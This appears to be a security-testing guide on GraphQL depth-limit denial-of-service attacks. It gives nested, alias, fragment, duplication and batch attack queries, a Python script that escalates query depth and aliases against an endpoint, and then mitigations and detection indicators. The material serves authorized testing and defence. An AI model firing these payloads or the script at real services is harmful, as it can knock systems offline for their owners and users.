26zl Performing GraphQL Depth Limit Attack
Overview
GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.
When to Use
- When conducting security assessments that involve performing graphql depth limit attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Target GraphQL API endpoint with introspection enabled or known schema
- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
- Python 3.8+ with requests library for automated testing
- Burp Suite or mitmproxy for traffic analysis
- Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Core Attack Techniques
1. Recursive Depth Attack
When a GraphQL schema has bidirectional relationships, queries can reference them recursively:
# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }
# Attack query with excessive nesting depth
query DepthAttack {
users {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
title
author {
name
}
}
}
}
}
}
}
}
}
}
}
}
}
}
2. Alias-Based Amplification
When batch queries are blocked, aliases can multiply the same field request within a single query:
query AliasAmplification {
a1: user(id: 1) { posts { author { name } } }
a2: user(id: 1) { posts { author { name } } }
a3: user(id: 1) { posts { author { name } } }
a4: user(id: 1) { posts { author { name } } }
a5: user(id: 1) { posts { author { name } } }
a6: user(id: 1) { posts { author { name } } }
a7: user(id: 1) { posts { author { name } } }
a8: user(id: 1) { posts { author { name } } }
a9: user(id: 1) { posts { author { name } } }
a10: user(id: 1) { posts { author { name } } }
}
3. Fragment Spread Attack
Fragments can be used to construct complex, deeply nested queries more efficiently:
fragment UserFields on User {
name
email
posts {
title
comments {
body
author {
...NestedUser
}
}
}
}
fragment NestedUser on User {
name
posts {
title
author {
name
posts {
title
author {
name
}
}
}
}
}
query FragmentAttack {
users {
...UserFields
}
}
4. Field Duplication Attack
Repeating the same field multiple times within a selection set increases processing:
query FieldDuplication {
user(id: 1) {
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
}
}
5. Batch Query Attack
Sending multiple queries in a single HTTP request:
[
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"}
]
Automated Testing Script
#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool
Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""
import requests
import time
import json
import sys
from typing import Optional
class GraphQLDepthTester:
def __init__(self, endpoint: str, headers: Optional[dict] = None):
self.endpoint = endpoint
self.headers = headers or {"Content-Type": "application/json"}
self.results = []
def generate_nested_query(self, depth: int, field_a: str = "posts",
field_b: str = "author",
leaf_field: str = "name") -> str:
"""Generate a recursively nested GraphQL query to a specified depth."""
query = "{ users { "
for i in range(depth):
if i % 2 == 0:
query += f"{field_a} {{ "
else:
query += f"{field_b} {{ "
query += leaf_field
query += " }" * (depth + 1) # Close all braces
query += " }"
return query
def generate_alias_query(self, count: int, inner_query: str) -> str:
"""Generate a query with multiple aliases."""
aliases = []
for i in range(count):
aliases.append(f"a{i}: {inner_query}")
return "{ " + " ".join(aliases) + " }"
def send_query(self, query: str, timeout: int = 30) -> dict:
"""Send a GraphQL query and measure response metrics."""
payload = json.dumps({"query": query})
start_time = time.time()
try:
response = requests.post(
self.endpoint,
data=payload,
headers=self.headers,
timeout=timeout
)
elapsed = time.time() - start_time
return {
"status_code": response.status_code,
"response_time": round(elapsed, 3),
"response_size": len(response.content),
"has_errors": "errors" in response.json() if response.status_code == 200 else True,
"error_message": self._extract_error(response),
"success": response.status_code == 200 and "errors" not in response.json()
}
except requests.exceptions.Timeout:
elapsed = time.time() - start_time
return {
"status_code": 0,
"response_time": round(elapsed, 3),
"response_size": 0,
"has_errors": True,
"error_message": "Request timed out",
"success": False
}
except requests.exceptions.ConnectionError:
return {
"status_code": 0,
"response_time": 0,
"response_size": 0,
"has_errors": True,
"error_message": "Connection refused - possible DoS",
"success": False
}
def _extract_error(self, response) -> str:
try:
data = response.json()
if "errors" in data:
return data["errors"][0].get("message", "Unknown error")
except (json.JSONDecodeError, IndexError, KeyError):
pass
return ""
def test_depth_limits(self, max_depth: int = 20):
"""Progressively test increasing query depths."""
print(f"Testing depth limits from 1 to {max_depth}...")
print(f"{'Depth':<8}{'Status':<10}{'Time(s)':<12}{'Size(B)':<12}{'Result'}")
print("-" * 65)
for depth in range(1, max_depth + 1):
query = self.generate_nested_query(depth)
result = self.send_query(query)
result["depth"] = depth
self.results.append(result)
status = "OK" if result["success"] else "BLOCKED"
print(f"{depth:<8}{result['status_code']:<10}{result['response_time']:<12}"
f"{result['response_size']:<12}{status}")
if result["error_message"] and "depth" in result["error_message"].lower():
print(f"\n[+] Depth limit detected at depth {depth}")
print(f" Error: {result['error_message']}")
return depth
if result["status_code"] == 0:
print(f"\n[!] Server became unresponsive at depth {depth}")
return depth
print(f"\n[!] WARNING: No depth limit detected up to depth {max_depth}")
return None
def test_alias_amplification(self, alias_counts: list = None):
"""Test alias-based amplification attacks."""
if alias_counts is None:
alias_counts = [1, 5, 10, 25, 50, 100]
print(f"\nTesting alias amplification...")
inner = 'user(id: "1") { posts { title } }'
for count in alias_counts:
query = self.generate_alias_query(count, inner)
result = self.send_query(query)
status = "OK" if result["success"] else "BLOCKED"
print(f" Aliases: {count:<6} Status: {result['status_code']:<6} "
f"Time: {result['response_time']:<8}s {status}")
def generate_report(self) -> dict:
"""Generate a summary report of all tests."""
successful = [r for r in self.results if r["success"]]
blocked = [r for r in self.results if not r["success"]]
max_successful_depth = max([r["depth"] for r in successful], default=0)
return {
"endpoint": self.endpoint,
"total_tests": len(self.results),
"successful_queries": len(successful),
"blocked_queries": len(blocked),
"max_successful_depth": max_successful_depth,
"depth_limit_enforced": len(blocked) > 0,
"vulnerability": "HIGH" if max_successful_depth > 10 else
"MEDIUM" if max_successful_depth > 5 else "LOW"
}
if __name__ == "__main__":
endpoint = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4000/graphql"
tester = GraphQLDepthTester(endpoint)
tester.test_depth_limits(max_depth=15)
tester.test_alias_amplification()
report = tester.generate_report()
print(f"\n{'='*50}")
print(f"REPORT SUMMARY")
print(f"{'='*50}")
for key, value in report.items():
print(f" {key}: {value}")
Mitigation Strategies
Depth Limiting
// Using graphql-depth-limit (Node.js)
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [depthLimit(5)]
});
Query Complexity Analysis
// Using graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
estimators: [
fieldExtensionsEstimator(),
simpleEstimator({ defaultComplexity: 1 })
],
onComplete: (complexity) => {
console.log('Query complexity:', complexity);
}
});
Rate Limiting and Timeout Controls
# Server-side timeout configuration
GRAPHQL_CONFIG = {
"max_depth": 5,
"max_complexity": 1000,
"max_aliases": 10,
"query_timeout_seconds": 10,
"max_batch_size": 5,
"rate_limit_per_minute": 100
}
Detection Indicators
- Unusually deep or complex GraphQL queries in server logs
- Spike in response times correlated with specific query patterns
- High memory or CPU usage on GraphQL server processes
- Repeated requests with incrementally increasing query complexity
- Large response payloads from single query requests
References
- OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- Apollo GraphQL Security Guide: https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries
- Checkmarx GraphQL Depth Exploitation: https://checkmarx.com/blog/exploiting-graphql-query-depth/
- GraphQL.org Security: https://graphql.org/learn/security/
- Escape.tech Cyclic Queries: https://escape.tech/blog/cyclic-queries-and-depth-limit/
- PortSwigger GraphQL Vulnerabilities: https://portswigger.net/web-security/graphql